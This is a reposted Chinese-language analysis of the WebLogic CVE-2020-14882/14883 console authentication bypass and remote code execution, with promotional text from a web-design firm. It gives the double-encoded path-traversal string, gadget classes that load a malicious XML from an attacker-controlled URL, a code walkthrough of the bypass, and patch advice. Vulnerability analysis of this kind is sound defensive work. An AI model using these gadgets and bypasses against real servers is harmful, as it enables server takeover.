這篇文章給大家介紹如何進(jìn)行WebLogic未授權(quán)訪問及命令執(zhí)行漏洞分析,內(nèi)容非常詳細(xì),感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。
專注于為中小企業(yè)提供網(wǎng)站設(shè)計制作、做網(wǎng)站服務(wù),電腦端+手機(jī)端+微信端的三站合一,更高效的管理,為中小企業(yè)旬陽免費(fèi)做網(wǎng)站提供優(yōu)質(zhì)的服務(wù)。我們立足成都,凝聚了一批互聯(lián)網(wǎng)行業(yè)人才,有力地推動了上1000家企業(yè)的穩(wěn)健成長,幫助中小企業(yè)通過網(wǎng)站建設(shè)實現(xiàn)規(guī)模擴(kuò)充和轉(zhuǎn)變。
WebLogic是美國Oracle公司的主要產(chǎn)品之一,是商業(yè)市場上主要的 J2EE 應(yīng)用服務(wù)器軟件,也是世界上第一個成功商業(yè)化的J2EE應(yīng)用服務(wù)器,在 Java 應(yīng)用服務(wù)器中有非常廣泛的部署和應(yīng)用。2020年10月21日,Oracle官方發(fā)布數(shù)百個組件的高危漏洞公告。其中組合利用CVE-2020-14882/ CVE-2020-14883可使未經(jīng)授權(quán)的攻擊者繞過WebLogic后臺登錄等限制,最終遠(yuǎn)程執(zhí)行代碼接管WebLogic服務(wù)器,利用難度極低,風(fēng)險極大。此處漏洞均存在于WebLogic的控制臺中。該組件為WebLogic全版本自帶組件,并且該漏洞通過HTTP協(xié)議進(jìn)行利用,CVE-2020-14882漏洞允許未授權(quán)的用戶繞過管理控制臺的權(quán)限驗證訪問后臺,CVE-2020-14883允許后臺任意用戶通過HTTP協(xié)議執(zhí)行任意命令。
CVE-2020-14882、CVE-2020-14883
高危,CVSS評分9.8
10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0
本次測試是用的weblogic 10.3.6.0及weblogic12.2.1.3.0,weblogic12.2.1.4.0

在正常訪問console后臺時會提示輸入帳號密碼
對于其他路徑也限制了訪問,可以看到返回403
通過未授權(quán)訪問,則可以繞過驗證直接訪問后臺。

可看到通過未授權(quán)訪問的后臺與正常登陸的后臺相比,由于權(quán)限不足,缺少部署等功能,無法安裝應(yīng)用,所以也無法通過部署項目等方式直接獲取權(quán)限。

‘%252E%252E%252F’即為二次URL編碼過后的‘../’,通過這個就可以實現(xiàn)穿越路徑未授權(quán)訪問相關(guān)管理后臺

利用上述未授權(quán)訪問CVE-2020-14882結(jié)合CVE-2020-14883
通過:com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext,這種方法最早在CVE-2019-2725被提出,該方法通用于各版本weblogic。這里首先需要我們構(gòu)造一個惡意的xml文件,如這里我們自己搭建的http://10.211.55.2:9999/rce-win.xml。其次需要被攻擊的weblogic能夠訪問我們的惡意xml。

其他gadget:
com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://IP/poc.xml")
通過com.tangosol.coherence.mvel2.sh.ShellSession,但此利用方法只能在Weblogic 12.2.1及以上版本利用,因為10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession類。
我們可以看到在當(dāng)前10.3.6版本會提示
當(dāng)使用12版本測試時,即可測試成功

比如回顯的

或者POST形式 :

首先,通過靜態(tài)資源文件繞過路徑權(quán)限的校驗。之后weblogic會對提交的url進(jìn)行兩次url解碼。最后會將handle中的參數(shù)傳入HandleFactory執(zhí)行任意代碼。
從繞過路徑權(quán)限的校驗開始。首先weblogic的請求會經(jīng)過weblogic.servlet.internal.WebAppServletContext#execute處理,這里會調(diào)用securedExecute()

跟進(jìn)securedExecute,后會調(diào)用doSecuredExecute,繼續(xù)跟進(jìn)

weblogic.servlet.internal.WebAppServletContext#doSecuredExecute
在這里調(diào)用checkAccess進(jìn)行權(quán)限的檢查

進(jìn)入weblogic.servlet.security.internal.WebAppSecurity#checkAccess()中可以看到當(dāng)我們請求的路徑為/console/console.portal時,checkAllResources為false

這里跟進(jìn)weblogic.servlet.security.internal.WebAppSecurityWLS#getConstraint()

這里即比較我們的relURI是否匹配我們matchMap中的路徑,并判斷rcForAllMethods和rcForOneMethod是否為null

當(dāng)我們的relURI為/console.portal時,rcForAllMethods不為null,rcForOneMethod為null,所以返回了rcForAllMethods。而對應(yīng)靜態(tài)資源就不會有限制和校驗

接下來回到checkAccess,如果這里是原來的/console.portal時,到這就結(jié)束了

如果使用console/images/console.portal則會繼續(xù)判斷resourceConstraint及后續(xù)的isAuthorized,并進(jìn)入weblogic.servlet.security.internal.ChainedSecurityModule#checkAccess

在weblogic.servlet.security.internal.CertSecurityModule#checkUserPerm中會進(jìn)入hasPermission校驗權(quán)限

所以當(dāng)我們這里使用靜態(tài)資源路徑時,unrestrict值就為true

之后會根據(jù)web.xml中的配置對應(yīng)的AsyncInitServlet來到了weblogic.servlet.AsyncInitServlet#service

這里如果解碼后的url里沒有;,那么就會繼續(xù)調(diào)用super.service

再次進(jìn)入super.service()

最終不管哪種請求都會來到doPost,并在這里調(diào)用createUIContext

可以看到此時已經(jīng)經(jīng)過了一次解碼

隨后進(jìn)入getTree又進(jìn)行了一次解碼,此時requestPattern就變成/css/../console.portal

之后來到com.bea.console.utils.BreadcrumbBacking#init類,進(jìn)入findFirstHandle

這里會逐個檢查參數(shù)中是否有handle并將handle的參數(shù)內(nèi)容提取出來返回

最后將獲取到的handleStr作為參數(shù)調(diào)用HandleFactory.getHandle(handleStr);此時也就來到了代碼執(zhí)行的入口

此時傳進(jìn)來的handleStr會在這里被拆成兩部分,一個作為被實例化的類,另一個作為該類的構(gòu)造函數(shù)參數(shù)及實例化,比如java.lang.String('aaaa'),被拆分成java.lang.String和aaaa

所以我們就可根據(jù)此來構(gòu)造gadget,最終通過反射機(jī)制在此觸發(fā)

比如當(dāng)我們構(gòu)造了惡意gadget后就變成了這樣,隨后即可觸發(fā)rce

目前Oracle官方已發(fā)布了最新針對該漏洞的補(bǔ)丁,請受影響用戶及時下載補(bǔ)丁程序并安裝更新。
Oracle官方補(bǔ)丁需要用戶持有正版軟件的許可賬號,使用該賬號登陸https://support.oracle.com后,可以下載最新補(bǔ)丁。
在舊版補(bǔ)丁中,使用黑名單過濾,可使用大小寫繞過,請更新最新版的補(bǔ)丁,或者如無使用必要可選擇關(guān)閉console。
關(guān)于如何進(jìn)行WebLogic未授權(quán)訪問及命令執(zhí)行漏洞分析就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學(xué)到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
網(wǎng)站名稱:如何進(jìn)行WebLogic未授權(quán)訪問及命令執(zhí)行漏洞分析
文章源于:http://chinadenli.net/article14/goedge.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供營銷型網(wǎng)站建設(shè)、網(wǎng)站設(shè)計、云服務(wù)器、定制網(wǎng)站、做網(wǎng)站、網(wǎng)站制作
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)